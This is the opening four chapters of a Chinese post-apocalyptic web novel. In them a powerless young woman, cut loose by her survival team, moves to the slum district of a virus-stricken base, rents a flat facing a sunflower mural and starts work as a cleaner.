《末日多巴胺》
1. 第 1 章
“我们不能再带着你了。”
夏荔听到队友许洲这么说时,她正看着窗外。她礼貌地收回视线,对许洲点点头,她知道了。
“你一直没觉醒特异能力,从来不笑,有你这样一个队友身心都累。”这些话似乎在他心里待了很久,他不用停顿地一顿说:“如果只是这样,我们或许还会带你一段时间,现在我们想去天空城,你肯定没法去吧。”
许洲自顾自地解释为什么不能继续带着她。
夏荔小口吃着这家咖啡馆很好吃的面包,咖啡馆属于奢侈一把才能来的地方,在很多人都吃不上饭的冰冷基地,这里窗明几净,萦绕黄油和咖啡幸福温暖的香气。
今天许洲忽然说请她喝咖啡,夏荔就知道有什么重要的事要跟她说。
听着许洲的解释,她的视线再次移开窗外,看向那座天空城。
人类聚集区每个角落都能看到天空城,它太高了,远远看像一个巨型龙卷风,层层向上堆叠的土地如黑云旋转,仿佛要钻入天空中,其中隐隐透出细闪紫光,让天空城看起来更像是雷暴。
末日之前从未有过的巨大雷暴。
只是远远地看着,夏荔就感觉到了危险气息,然而它是无数人趋之若鹜的末日净土。
在天空城不用担心被病毒污染,听闻那里和末日之前的世界一样,繁华美丽。
许洲打量着夏荔:“你是女生,积分是天然比男的高5000分,可你没异能啊,这才占积分大头。抱歉,夏荔,你这辈子可能都去不了天空城了。”
天空城凭积分进,积分由异能、性别、贡献点等决定,积分满三万就可以进入天空城。许洲说的对,这三万积分中,异能至少占一万五,高级异能积分更多。
他盯着夏荔耸了下肩,脸上露出一个抱歉的表情,“我不是打击你,只是在理性分析。我们要为天空之城的积分冲刺了,你跟不上我们的进度,那也很危险,为了你好,也不能再带着你了。”
夏荔吃完最后一口面包,把面包纸在餐桌上放好,“好的。”
许洲有些惊讶,但他似乎很兴奋,急着想去做什么,没再多说多问,“那就这样。”
他走后,夏荔把他起身太急撞歪的餐叉摆正,把自己面前的面包纸铺平,夹起许洲一口没吃的面包放上去。喷香松软的面包刚在面包纸上落地,那道匆匆离去的脚步声又回来了。
夏荔抬头,对上许洲的脸。
捡他面包被当场看到,她看起来没一点尴尬和不好意思,清透的眼睛里没有任何情绪。
她真的像个人机。许洲不知道第多少次想。
“我想起来,你的东西还在车里,我们一起去拿吧。”许洲说。
夏荔确定他不是回来拿面包的,把面包装到从野外捡的布包里,跟着他走出这家她以后可能再也没机会来的奢侈咖啡馆。
“我还有件事请你帮忙。”许洲说。
“请说。”夏荔道。
“那个……”许洲放慢脚步,有点犹豫,向咖啡馆外看了一眼,才压低声音跟她说:“就是,等下你去车里拿行李的时候,能不能委婉地跟唐晴提一下,我们俩关系一直这么冷淡?我怕她误会我喜欢你。”
一年前,许洲在人类聚集区外看到夏荔,天天热情地来问她要不要跟他组队,一起寻找生存物资,半个月后,夏荔答应了。两人组队半年多后,他们又遇到了一对拥有异能的兄妹,哥哥叫唐明,妹妹叫唐晴,于是有了他们这个四人小队。
夏荔心中明了,睫毛垂落又掀开,几秒后说:“好。”
出了咖啡馆,迎面而来是一阵潮湿裹挟着砂砾的风,砂砾拍打肌肤后又落下,那股潮湿附着在皮肤上,留下仿佛什么在蠕动的触觉。
薄薄的淡紫阴霾把夕阳光过滤得细碎朦胧,透过病毒折射出的光,夏荔看到了不远处那两辆房车。
这是这些年很常见的房车,很大,上下两层,装下不少物资的同时,能供人在野外吃饭睡觉,简单度日。
唐晴就坐在其中一辆黑色房车的车头上,认真擦着手里银黑色的枪。听到脚步声向这边看了过来,嘴角扬起细小的弧度,引得周围的人频频看过去,为她的笑容驻足。
常年活在无望和未知的污染恐惧中,每个人身上都笼罩着一层恐怖的阴影,笑容已经越来越少见。在布满阴霾的暗色天空背景下,她的笑就像是明媚的阳光,夏荔也心生淡淡欢喜,忍不住想靠近。
“来拿行李?”唐晴问。
夏荔点点头,“嗯。”
“都给你放在车门那里了。”唐晴用枪指向车门口一个行李袋和一纸箱书,“你的行李都不用收拾,我直接给你搬下来了。”
最开始,只有夏荔和许洲,他们自然住一个房车,后来他们四人组成
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小队后,为了方便,夏荔和唐晴住一个房车。唐晴早就知道夏荔的生活习惯。
早上洗漱完,她会把洗漱品装到行李袋里,不会留在洗漱台旁。
晚上入睡前,她会把手里哪怕没看完的书按照顺序装到箱子里,而不是放在枕边。
日复一日,每天都这样。
如果不知道她平时就这样,看到这收拾得好好的行李袋和箱子,她会以为夏荔预料到他们今天会跟她分开,提前收拾好了行李。
夏荔看向自己的简单行李,对唐晴说:“谢谢。”
只是这样的话,她没法到车里,私下跟唐晴说他和许洲没什么关系了。她已经答应许洲了,她看向许洲,许洲忙对她摇头摆手。
不用说了。
夏荔微点头,简单检查了下行李,提起行李袋准备离开。
唐晴从车上跳下来,高高的马尾一晃,就出现在夏荔面前,接过她手里的行李袋,帮她在背后背好,“你打算去哪里?”
“谢谢。”夏荔说:“我的生存点很少,去K区吧。”
一直没说话的唐明冷声开口:“那里很混乱,不安全,你能去J区就别去K区。”
“我会认真考虑的。”夏荔抱起并不多沉的书箱。
一开始,许洲帮她搬上房车很多箱书,后来,要放的物资越来越多,书扔了一箱又一箱,等她搬到唐晴车里时,就只剩下这放在她床尾的最后一箱。
“多谢这段时间的照顾。”夏荔平静地跟三人告别,“再见。”
她背着行李,抱着她的书走进萧条阴暗的春日傍晚。
三人一人靠在车头,一人坐在驾驶座里,一人站在前面,沉默地看着她瘦削背影慢慢消失在阴霾中。
“她那些书是自己看的?”唐明忽然开口问。
“是啊。”唐晴视线还在夏荔背影消失的方向,“她很爱看书,经常在睡前看,怎么了?”
拥有透视眼的唐明说:“箱子里的书看起来都很高深,还有一份病毒相关的博士论文。末日来临时她最多也就两三岁吧,末日来临后,哪有能教这么高深知识的地方,她能看懂?”
两人都看向许洲。许洲看着唐晴摇头加摆手:“我也不知道,我们很少聊天的。我只知道她还有很多什么免疫学、细胞学之类的书,哈,说不定她还想研究末日的形成,找到人类走出末日的方法呢。”
2. 第 2 章
两辆房车向基地城墙开时,夏荔来到最近的城区交通站。
没等两分钟,深绿色轻轨车停在她面前。长长的轻轨车由四节车厢组成,每个车厢上标着一个红色的数字3,没有车头和司机。
在野外做任务时,她曾听人说,这是天空城蒋家人的异能产物,不需要司机,自动在基地不同城区间行驶。
夏荔先经过一道全身扫描才踏上车,兜里的身份卡“嘀”了一声,她走进车厢里,看到里面很多带着口罩的人。
研究院曾不止一次公布,口罩并不能阻挡超级病毒Purple污染,可外面依然很多人戴着口罩,只露出一双双黑洞洞的眼睛。
夏荔找了空位置坐下,从兜里拿出一个口罩带上——她知道,外出戴口罩的人,常常也希望别人戴口罩,他们怕周围人没戴口罩的人已经被污染,病毒会经由呼吸四散,把他们也变成污染物。
很简单就能让人安心的事,夏荔一直乐于去做。
轻轨恢复行驶,车厢里很安静,只能听到公共广播里主播严肃平稳的声音。
“天空城农业园本月种植成功樱桃、李子、葡萄三种无污染果树,三种水果有望明年出现在基地各区。”
“据人口与社会局统计,去年全基地自杀人数比前年上涨9.4%,抑郁情绪大范围蔓延。政统中央厅正式批准研究院进行杏仁核调节器的研究。杏仁核是人类大脑中调节情绪的重要部位,如果能研制成功杏仁核调节器,将对驱散抑郁有显著效果。”
“天空城今年新出生人口比前年增长7.2%。空卫司宣布,为了天空城的稳定可持续发展,将减少今年天空城人口迁入名额,将落户积分提高到35000。”
“本周基地各区被污染723人,其中546人在常规检查中被发现。出现污染动物6只,污染植物11株。根据基地污染法,擅自将动植物带入基地,私下养育动植物,将永远失去基地居住权。”
……
夏荔一边听着广播,一边看向窗外。
轻轨在不同城区间飞快行驶,此时处于一个较高地势,能看到大半个人类聚集基地,以及另一个视角的天空城。
天空城位于基地正中心,应该说人类聚集区就是以天空城为中心建立的。
天空城只占了基地极小一部分面积,主要位于半空中。以天空城为中心,向外扩散出基地A区到K区,地势越来越低的区从四面八方紧紧围绕着天空城,好像天空城是被这些区域供养出来的大树,又好像,这些城区紧紧拖拽着天空城,寄生在天空城底部。
夏荔刚要收回视线没多久,感觉到一直很沉寂的车厢出现了躁动,好几个人站起来趴在窗口向外看。
她转头向外看,清透眼眸映出从天空城上坠落的那一块土地。
尘土飞扬,即便在车内,也隐隐能听到土地坠落时的震荡声。天空城底下附近的人非但没有躲开,反而一拥而上,抢夺坠落的土地,也有人在面目狰狞地阻挡,场面混乱。
轻轨行驶到离天空城最近的地方,夏荔看到几个穿着暗紫衣袍的人正要抢其中一女人手里的土地,那女人疯狂把抢到的土地塞进嘴里,手上唇边沾到的泥土也被她急慌慌舔进嘴里。
“她、她竟然把土吃了?!”
“这你就大惊小怪了吧,天空城刚出现那几年,经常有人偷偷挖天空城的土,做什么的都有。”
不仅夏荔注意到了,安静的车厢变得热闹,车里好多人看着外面讨论起来,还有人忆起了当年。
夏荔想听,于是转头,一双干净安静的眼睛看向那位说当年的中年男人,一个认真倾听的动作。
“吃了天空城的土有什么用?”有人问。
那个中年男人说:“有人说吃了天空城的土,就和天空城上的人一样不会被毒株污染,也有人说吃了天空城的土更容易觉醒诡异能力。”
2052年,一种至今没研究透,能快速污染人类基因的恐怖病毒Purple爆发,绝大数人被污染后没多久就会死亡,仅那一年人口锐减67%,之后每一年都有大量人被污染而死亡。
只有少数人,被污染后没有死亡,觉醒了特异能力,这些能力大多并不是非常诡异,只是身体某部位或某种能力的不同程度强化,被科学家称为基因飞越性进化。
同一年,天空城出现。天空城上只有觉醒异能的人和普通健康的人,没有被感染死亡的人。有人说天空城地质特殊,能抵抗净化病毒;有人说天空之城上存在进化出净化能力的特异人,能净化天空城;有人说天空城是神庇佑之地。
不管信哪种说法,天空城成了几乎所有人想要去往的净土,某日里的应许之地。
“要是这样,那当年确实会有很多人去偷挖,天空城下面那么细,不会是被挖的吧?”有人提出一个离谱又似乎有点合理的猜测。
“当然不是。”那个中年男人脸上露出无奈,又变得严肃,“一开始确实很多人疯狂地挖天空城的土,很快就有了空卫司,那时候空卫司就等同于空卫军,专门保护天空城,那些偷挖天空城的人全都被抓了。”
“继有空卫司之后,又出现了那群把天空城当成圣地的紫袍人加入保护天空城,他们比那群偷挖人还疯狂,渐渐就再也没有人偷挖天空城了。”
“怪不得,天空城土地坠落,他们会这么疯狂——哎呀!我到站了!听故事听入迷差点错过站。”
“我已经过站了!”
夏荔立即抬头看向指示站牌,她所坐的是三号线,当前已经在J-3区。如果她现在赶紧起身,也能在J-3区下车。她只犹豫了一会儿,没选择那么匆忙,继续在车上坐了几分钟。
从轻轨驶过天空城开始,所经的城区越来越破旧,从J区到K区的过渡最为明显。这个最远离天空城,地势最低的城区像一个贫民窟,聚集着生存点最少的,被抛弃的,被通缉、追杀的人。
贫穷和混乱是K区的代名词。
“各位乘客请注意,K-3区已到站,请到K-3区的乘客有序下车。”
车里剩下的人不多了,天空城带来的热闹如烟花,在K-3区的土地上化为灰烬,他们隔着不远不近的距离,纷纷从车上下来。
夏荔早就背着行李,抱着一箱书等在车门口,车一停她就下来了。
天有些黯了,橘红夕阳即将被拉入黑幕中,留下一层灰紫色的光。没那么清晰地,一面深红低矮的围墙出现在夏荔面前。
其他区之间没有围墙隔绝,只有K区有一座这样的围墙和前面的城区隔开。城墙低矮,实际上没有什么隔绝作用,更像是一种提示——再往前走就是连维安队都少管的K区。
城墙上的红砖被破坏得坑坑洼洼,灰色的光线里,那些坑洞像是从城墙上生出的斑驳锈迹,长出的菌斑。城墙后面,就是K区一座座吞噬夕阳的楼房,破败的楼房上似乎被涂抹了颜色,纷乱,影影绰绰。
以破败和模糊的彩色为背景,一个能容下四辆房车并行通过的门就沉默地矗立在那里。
门前有不少人进出,也有站在那里似乎在等人的人。夏荔刚下来,好几道视线落在她身上,打量着她。
一个穿着花衬衫的男人,勾下眼镜,露出一双细长的眼睛,笑着她走来,热情地说:“欢迎来到K-3区。姑娘,我是咱K-3区的向导,你想在这里租房、找工作,还是做不可明说的事,我都能帮你。”
夏荔确实需要租房和找工作,至于“不可明说的事”,她可能不需要。
“我口碑很好的,你可以打
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听打听。”花衬衫男人弯下腰,双手撑在腿上,以和夏荔同样的高度,笑眯眯地对她说。
车站附近有不少类似向导的人,他是这些人中唯一笑的人,夏荔多欣赏了几秒他很有个人特色的眯眯眼笑,“请问,怎么收服务费?”
“佣金是半个月的房租,如果你找我租房,我免费帮你找工作,附带K-3区介绍。”
从他们身边经过,那个讲天空中年男人对夏荔点了下头,夏荔接收到他的信息,她也觉得这位花衬衫大哥收费很合理,“好的,麻烦您了。”
花衬衫男人露出一个更灿烂的笑容,接过夏荔背上的行李袋,“不用客气,你可以叫我花哥。一次买卖,终生朋友,以后在K-3区有什么不懂的都可以找我。”
“谢谢,您可以叫我夏荔。”
夏荔跟着花哥走进K-3区,对花哥说她想租的房间,眼睛在暮色里观察着K-3区。
维安队都想放弃的地方,人员鱼龙混杂,从破旧墙上乱糟糟的涂鸦,和张贴的五颜六色小广告就能看出。
“改变命运的机会就在眼前,如果你想快速进入天空城,请联系我们,进城之前不收费。”
“毁灭吧!死!死!都去死!!!”
“神息庇佑,神救我族。”
“一鲸落万物生,凌家人必须死!”
“污染救助中心,有死亡搭子上路不悲凉。”
虽然墙上和电线杆上都布满混乱的涂鸦和乱七八糟的广告,乃至垂落的天线上都挂着飞扬的小广告,这里路面上并不像很久以前的贫民窟堆满臭烘烘的垃圾。
这些年谁敢在路上乱扔垃圾,很可能会被路上的人打。垃圾容易滋生病毒和霉菌,所有和病菌相关的一切,都不被允许存在,这干净是根植在人内心最深处的恐惧,和墙上的部分涂鸦一样。
花哥注意到夏荔在看那些广告,指着天空城那张对她说:“那不是骗人的,还真有快速进入天空之城的方法,我们K-3区独有的方法,如果你很想进天空城,可以找我。”
夏荔:“谢谢,我应该暂时不需要。”
花哥露出一个可惜的表情,“那么,我们来说说租房吧。根据你的需求,有一个区域挺合适的。那里房租低,生活相对方便,居民以女性居多。”
拐进一条斜向上的小路,花哥说:“就在前面。”
夏荔抬头,一座十几层高的楼身借着昏暗的灯光映入眼帘。夕阳落幕,整个K-3区披上了一层灰败了的轻纱,这座楼也一样,它之所以首先被看到,是因为墙面上画着一朵又大又明亮的向阳花。
黄色那么显眼,太阳的色泽,好像一束光正努力挣脱深沉的黑暗沼泽。
花哥说的房子不在这栋里,在更前面,更高处。夏荔跟着花哥向前走,经过向阳花楼门时,又回头看向那棵向阳花,没注意到从向阳花楼里跑出一个小孩。
她躲不及,又想护住怀里抱着的书,身体失衡,“嘭”的一声被撞倒,胳膊肘着地。
“没事吧?”花哥走过来,弯腰对她伸手。
这么问着,他知道夏荔应该没事,她不是被太大的力撞飞出去的,小孩撞她那一下只导致了她的踉跄,继而跌倒。
可夏荔垂着头,迟迟没有抬手,也没有说话。
她有些晕,脑海里一阵震荡。黑暗中紫色的雾状海浪汹涌向她袭来,冰冷粘稠,要将她淹没。她努力要挣脱,终于出现正常的蓝色海水凝成海浪,向着紫色冲去。
她好像听到有人在喊她,声音细密,带着叹息。
双手撑地,夏荔站起来,寻着声音向身后看去。
风声呼啸,K区亮起了盏盏灯光,人类聚集区在黑夜的穹庐中点出一片微弱的星空,在凛冽的风与雾中如海浪摇曳。
3. 第 3 章
“这个地方房租便宜的原因你也感受到了。”花哥说:“这里小孩相对多,有时候比较吵闹。”
刚才被小孩撞到只是一个小插曲,花哥继续带着夏荔去看房。
看了花哥推荐的那套房后,花哥又带她去看了向阳花楼另一边的一套。
天已经黑透了,夏荔需要一套房过夜,她本也没时间看很多套,当推开第二套房子的窗户,她就打算租这套房了——方正的绿色老钢窗一推开,就是那一面墙上黄色的向阳花。
夏荔喜欢这棵向阳花。
等她以后生存点多一些,在窗口摆上一张木质书桌,在窗口看书吃饭时,抬眼就能看到它。
房子一室一厅,还有一个卫生间和餐厅。灰尘在光雾里盘旋,很久没人住过,很空,有点旧,但向阳。墙面和地面都算干净,有基本的家电和家具,一个小书架是意外之喜。
在基地,除了家人和队友,没人想跟其他人合租,就像没人想跟一个不知道什么时候爆发的污染源合租一样。这个小房子正适合她一个人住。
一个月500生存点,押一付三,250的服务费,夏荔要付2750的生存点,她接近一半的生存点都没了。
花哥在房间里找个椅子随便一坐,开始做电子合同,“你的身份id说一下。”
夏荔把绿色的身份卡递给他:“003778999。”
“没来基地多久呀,你是基地第3778999个报道的人。”花哥随口一说。
夏荔点点头,“我去年才来基地报道。”
签了合同后,花哥说:“需要工作吗?”
“需要的。”夏荔说:“麻烦花哥给我介绍一份工作。”
花哥看向夏荔的行李袋和装满书的巷子。他帮夏荔提了一路行李袋,行李袋拉链拉得好好的,看不见里面,外面不见一点脏污。那箱子书堆叠得规规整整,上面几本能看出翻看过多次,但依然平整干净。
夏荔身上也一样,她穿的是最普通的白色棉麻衣服,衣服上不见褶皱,除了刚才摔倒弄脏的地方,白色上也看不见脏,和她的眼睛一样找不到尘垢。
这是一个干净规整的女孩,气域安静。
灰尘弥漫中,她像是一颗从蔚蓝海里滴落的一滴水珠。
“有一个工作我感觉很适合你,赚得也很多,就是不知道你愿不愿意做。”花哥说。
“您说。”夏荔说:“您比我更了解K-3区,我想听听您的建议。”
不是为了赚钱,花哥愿意告诉她,“保洁,请相信我,你很适合在K-3区做保洁,能保证你在这里过上不错的生活。不过要提醒你,这是一份危险系数有点高的工作。”
夏荔认真思考。
之前她和队友们一起在C区住过一段时间,有次他们外出赚生存点回来太累了,不想收拾住处,就想找个保洁,被高额保洁费劝退。
很久没有打扫的房间,阴暗发霉的厨房、洗手间漏水的角落,都是霉菌和细菌滋生的重灾区,同时也被很多人认为是病毒Purple的温床,避之不及,因而保洁费挺贵的。
实际上,这多是心理作用。病毒Purple和其他病毒不一样,带着口罩对它并没有任何作用,滋生其他细菌病毒的地方,不一定滋生病毒Purple。
夏荔并不担心保洁工作会更容易被污染。
干保洁收入高,且时间自由。如果收入很可观,她一周可以少做几次,剩下大部分时间都可以自由支配。
只是,保洁费这么高的结果是,大多数在基地艰难过活的人请不起保洁,只有少数生存点高的人才会请保洁,K-3区需求量大吗?
她正这么想时,就听花哥说:“K区不只有穷人,还有一些危险或怪异的人。我刚才说的危险,不是说这份工作容易被病毒污染,而是这些人,但他们给的生存点会很多,可能比其他区还多,打扫一次400生存点起步,具体看打扫时间。”
夏荔眼睛微亮,“可以,我做。”
花哥低头笑了一声,“那好,我们加个联系方式,如果可以,我明天就给你介绍。”
夏荔拿出手机,K-3区远离信号中心,网速慢,过了两分钟才加上花哥的好友,“保洁中介费多少?”
花哥:“10%。”
一次就算400生存点,扣除中介费,做两次房租就有了,可能只需要一次。
夏荔满意点了两下头。
花哥说:“给你介绍一个客人,收第一次保洁费的10%,以后你私下跟客户联系约时间就行了,不用再经过我。”
夏荔惊讶地看向他,感激地说:“谢谢您。”
“有需要买的必需品吗?”花哥从椅子上起来,把椅子归到原位,“我带你去买,带你熟悉一下这里的交易所。这里和别处不一样,不熟悉的话会被宰。”
夏荔从行李袋里拿出她仅有的两瓶水,和花哥一人一瓶,一起向外走。
这座小楼一共六层,没有电梯。夏荔租的房子在四楼,他们需要下三层楼。楼梯还算宽敞,两人一前一后,脚步声在楼梯间回荡。
走出楼门后,夏荔又回头看向自己租的小房间,一眼看到了那个绿色钢窗,被窗内一盏老式飞碟台灯晕出一片橘黄。
进来前并不知道自己要看的是哪一套房,并没仔细看这一扇窗,夏荔现在才注意到这扇窗上也有涂鸦,夜色里,低矮的路灯照不到那么高的地方,要仔细看才能看清。
一眼看过去相对显眼的是一个红色的“×”,由两把细长的刀交叉组成。
红色被风吹日晒变成砖红,看起来和灰绿色的钢窗窗架并不用突兀,甚至有点和谐。红叉下面是“凌司渊”三个黑色的字
——没那么和谐了。
“K-3区有四个交易所,离这里最近的一个步行600米左右。”花哥在前面走,夏荔听到他的声音,小跑两步跟上。
K区的交易所不像其他区划分得那么细致规整,从粮食蔬菜到刀枪武器,一个交易所内卖什么的都有,也没有其他区交易所门口公示的指导价。
这样的话,如果没有熟人带,确实很容易被坑。
夜里交易所门口象征性地站了两个维安队的人,这里的维安员并不像其他区工作那样认真,他们松散地倚在门口墙上吸着烟聊天,身后是通火通明,五彩斑斓的交易所。
拱形门后,是一条夜市一样的街道,街道两边是一个挨一个的地摊,不少地摊旁挂着广告旗子或横幅,都是比较显眼的颜色,对冲着阴霾和黑暗。
一年的房车生活让夏荔的物欲变得极低,现在她租了自己的房间,想给自己添点东西,除了书桌,一时竟想不到她想要什么,需要什么。
她就这么漫无目地跟着花哥在交易所逛,以供想需,第一次停下脚步是为一块亚麻桌布。
亚麻没有染过,是本色,只在四周绣着夏荔不认识的藤花花纹,摆在一张大桌子的角落。桌子上面拉着一条黄色的横幅,上写黑色的“齐老货”三个字。
“姑娘好眼光,这块亚麻是雇佣兵在外面一个工厂里带回来的,纯天然亚麻,抑菌抗菌,现在可很少见了。”桌子后面坐着一个看起来四十多的男人,穿着宽松的黄色唐装,见她看向那块桌布立即站起来,热情地说:“我这里就这一块了,便宜卖,只要128生存点呦!”
花哥的脑袋从夏荔身后凑过来,笑眯眯地,“28。”
“……”
夏荔看到老板嘴角抽抽,张嘴好几次没把话说出来,但他已经用脸说了,很脏。
他囫囵把桌布塞到夏荔手里,坐回吱呀摇晃的躺椅上,一句话都不想再说。
“这是新来K-3区的保洁员,齐老板你多照顾点,别坑小姑娘。”花哥指了指旁边的刷卡机,
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示意夏荔刷卡。
“保洁?”听到夏荔是保洁员,齐老板热情恢复了一成,抬眼向这边看了一眼,忽然站起来,向他们两人凑过脑袋神秘地说:“那我这里刚到一件可遇不可求的大货,很适合你。”
夏荔刷完卡,心满意足地抱着桌布,配合地说:“那一定是个好东西。”
齐老板的热情恢复至五成,从他身后的杂货店里搬出一个箱子,贼头贼脑地向四周张望,确定了维安队的人没在这里后,才半卖半炫耀地打开箱子,谨慎地从里面抽出大货一角。
花哥凑过来,眉毛微扬,“这是?”
夏荔只看出那是一只袖子,黑色的面料,稍厚,没看出什么。
齐老板没理花哥,只对夏荔说:“来,摸摸,捏捏。”
“好。”夏荔从兜里掏出一张纸巾,擦了擦手,然后捏住那件大货一角,食指指腹微微一动。
这里面……有东西,奇怪的触感。透过光滑微凉的外层,捏到的是沙沙硬硬的触感,捏出了窸窸窣窣的感觉。
她本能地想要移开手,又忍不住捏了捏,手指指腹贴压着里面的东西,黏在上面了一样。
齐老板脸上出现点得意和激动,压低音量但不压情绪地对他们说:“里面是天空城的土!天空城的土做的衣服,其他区那些交易所可没有,整个K-3区交易所也只有我有!”
夏荔收回手指,下意识瞥向远处高怂的天空城。夜晚丝毫不影响肉眼看到它,在好像很遥远的黑夜里,灯光亮起的天空城像一道撕裂夜幕中的闪电。
想到了在车上的所见所闻,夏荔明白齐老板为什么鬼鬼祟祟,以及为什么说这适合她了。
这确实是件大货。
花哥一点都不买账,伸手把盒子向齐老板那边推,“快收起来,别连累我再被抓了。”
齐老板的热情顿时又被他浇灭一大半,“啪嗒”一声合上盒子,“我又不卖给你,让你长长见识罢了,呵!”
他说完又看向夏荔,双眼暗含期待。夏荔抱歉地说:“齐老板,我还没开始工作,您的大货一看就很贵,我现在还买不起。我现在只能买得起一些生活必需的小东西。”
“行。”虽然夏荔也不买,但他看来没有对花哥那样不满,埋头在他的杂货店里给夏荔翻东西,“干保洁,手套需要吧?口罩呢?一次性鞋套?”
夏荔在齐老板那里买了不少小东西,装在新买的盆里。花哥也在齐老板那里挑了点小东西。交易所快关门了,他们没有继续逛,一起往回走。
夏荔租的房子更近,两人在楼下告别。
花哥右手伸向夏荔,手掌摊开,上面是刚才他在齐老板那里挑的棒棒糖。他的头微微歪着,笑着对夏荔说:“夏荔,很开心认识你。真的,很开心。”
如果没有见过此时花哥的笑,她一定以为前面看到的他的笑是真的。
基地春日的夜晚有点凉,夜风里带着令人不安的黏湿,和阴影一样附着人的身上,附着在基地每一个地方。发自内心的开心,由内向外涌出的笑,就像她身后那面墙上那棵向阳花。
夏荔打开棒棒糖放到嘴里,很久没吃到这么甜的东西,夏荔嘴里先涌出的是一股不适应的酸,才尝到了浓浓的甜。
研究院说情绪有很强的感染力,她好像感觉到了细微的一点。
夏荔向前走了两步,看向已经走下坡的花哥背影,拿出棒棒糖,叫他:“花哥。”
花哥回头,夏荔声音顺着风声飘下去,在浓稠的夜色里很轻,“谢谢你。”
花哥又笑了,还是那样真实开心的自由绽放的笑,他转身继续往黑暗里走,边走边对她摆手,“回去睡吧,明天早起认真工作,好好活着。”
夜风把花哥宽松的花衬衫衣角扬起,夏荔视线顺着衣角飞扬的方向,蔓过漆黑的黑幕,落到身后墙上开在深夜里的向阳花,过了几秒,点点头。
4. 第 4 章
回到房间后,夏荔立即拿出那个从咖啡馆打包的面包,咬了一口。
她很饿。租房时就开始饿了。那时其实距离她在咖啡馆吃面包没过去多久,平时她没这么容易饿,或许是搬行李消耗了太多她的的能量。
松软喷香的面包进肚子,压住上涌的饥饿感后,夏荔开始打扫卫生。
她把每一个角落都仔细打扫了,把这当成一次工作前的实习。
当换上褥子,在床上铺上自己的四件套,在一排衣架挂上自己的衣服,房间里有了自己的气息,这个房子好像就和自己绑定了令人心安的关系。
接下来是夏荔更为期待的事,她把那个擦干净的樱桃木小书架移到方窗旁,靠墙放好,然后搬过来一个齐老板送的小马扎,坐在上面,一本一本地从书箱里拿出书,放在手里看一看,再放到书架上。
不仅她有了住的房子,她的书也有了。
书架大,它们再也不用被扔了。
书箱底下是一把锋利的小刀,她把刀放到书架上,想了想又放到枕头下面。
现在她的生存点不多,不能买一个自己的书桌,在齐老板那里看到桌布时,就想用房间里的石英石餐桌暂时当书桌。为了不影响楼下,她有废了点时间,一点点把餐桌挪到老钢窗前,挨着书架放好。
把洗好的桌布从烘干机里拿出来,在餐桌上铺上。本色亚麻盖住冰冷的石面,绣着不知名花藤的布角在桌子下垂落,被从窗外而来的夜风扬起,散发着她一直用的洗衣液的小苍兰香。
夏荔打量了一圈房间,坐在书桌前,好久没动。
她的胸腔细细起伏,手指握着桌上的书收紧,片刻后松开。
抬头看了会儿窗外的太阳花,夏荔把花哥送给她那个棒棒糖漂亮的糖纸夹在书本里,双手合掌压了压,把它放在书桌前,关上窗。
睡觉了。
躺在小床上,被熟悉的气息裹着,夏荔的眼皮很快轻轻合上。
眼皮遮住光后,不是纯粹的黑暗,空气里隐隐的紫色在眼球神经上蔓延,在大脑里四散成雾,雾气被柔和的风吹散,风是天空一样的蓝色。
夏荔走入如轻纱的柔风中,风吹拂时在空中轻轻涂抹蓝色幻境,走出了那一面蓝色水雾,夏荔看到了一个做鬼脸的女人。
她想了很久,才在遥远模糊的记忆中想起,这是她的妈妈。
在她很小很小,小到记忆本该难以稳定保存的时候,妈妈忽然从墙的另一角探出脑袋,露出鬼脸,张牙舞爪,“怪物来啦!怪物来啦!”
坐在墙角走路还不利索的她,就会被逗得咯咯笑。
“怪物来啦!”
妈妈走过来,像个怪物一样把她举起来,“怕不怕怪物?啊呜!”
雾气弥漫,妈妈的脸和身影逐渐消失,只有很小的她的笑声在回荡。
夏荔在早上七点睁开眼睛,她躺在床上很久没动,还没完全从梦里走出来。
不知道为什么忽然会梦到妈妈,而且有清晰的脸。实际上,如果不是在梦里,她已经记不住妈妈长什么样了,她最后一次见妈妈时才三岁。
梦里弥漫的紫色令人不安,恐怖病毒purple的命名就因它的颜色。
正常来说,病毒是由蛋白质和核算组成的微观结构,无法呈现出本身的颜色。超级病毒purple在人体内外和空气中却会呈现出淡淡的紫色,通过观测人体内是否有这种紫色,是检测人有没有被污染和是否进化的方法之一。
但是,小时候她咯咯的笑声,和她和妈妈之间温馨愉快也留下了。
这个梦并不是全然的不安。至少,夏荔知道了她还有这样开心的时刻,并重新感受到了。
传呼机的震动把夏荔完全叫醒,她打开一看,花哥给她发来消息:[隔壁春华小区6栋2单元601,500一次全屋日常打扫。早上九点去打扫,无需带清洁用品。注:女客户,性格孤僻,喜静。]
夏荔立即从床上坐起来,[谢谢花哥,会准时到达。]
从床上下来后,夏荔第一件事是走到卧室窗口拉开窗帘。
阳光被灰紫色的雾霾过滤,晕染在对面的墙上,给向阳花以阳光,即便朦胧,依然能让人感觉到明媚。
夏荔洗漱后,立即下楼,在不远处找到了最近的绿色检测亭。
一些检测亭是基地传呼机还没大规模投入使用时的电话亭改造的,这个监测亭就是其中一个,由一个简单玻璃房组成,链接着一块块方形玻璃的,是涂绿的不明金属,尖尖的屋顶也是绿色,在监测亭上绿色是祝福色。
前面没人排队,只有监测亭里一个人正在检测,夏荔过来不到一分钟,那人就从里面出来了。
等到显示器显示绿色可用,她带着身份卡走进去,熟练地将已经没有颜色的身份卡放入卡槽,接着把手按向检测屏幕。
K-3区的检测没有其他区那么快,夏荔看到她手掌下紫色和绿色来回反复,接近两分钟,终于停在绿色上。与此同时她的身份卡再度变成了绿色。
绿色代表她在基地日常基础检测中的结果是未被污染,她能持绿色身份卡乘坐公共交通、去基地不同城区、进行生存点转账等。
身份卡上的绿色会持续48小时,48小时后绿色消失,重新在检测亭检测后,才会再次变绿。
当然,也可能会变紫。
带着绿色的身份卡往回走的路上就有一个早餐铺,花哥说的没错,她住的地方生活很方便。在其他区,未经一道道严格审核,是不允许私人做这种小生意的。
夏荔买了两个菜包子一杯豆浆,等不及到家,在回去的路上就开始吃。
十分钟后,两手空空的夏荔再次出现在包子铺老板面前,在老板大眼注视下,沉默两秒说:“老板早上好,你家包子非常好吃,再给我一……两个包子。”
夏荔发现,她不仅饿得早,还吃得更多了。
老板给她挑了两个最大的。
吃完早饭,夏荔收拾好就去做第一份保洁工作了。春华小区就在她住的小区隔壁,但这是她第一次去,她预留了四十分钟,找到那栋楼后,她在楼下等了二十几分钟,在距离九点仅有三分钟时,戴上口罩和鞋套,敲响了601的门。
智能锁闪了一下,夏荔说:“您好,我是花哥推荐来为您打扫卫生的,我叫夏荔。”
门锁发出“吱”的一声,夏荔握住门把手打开了门。
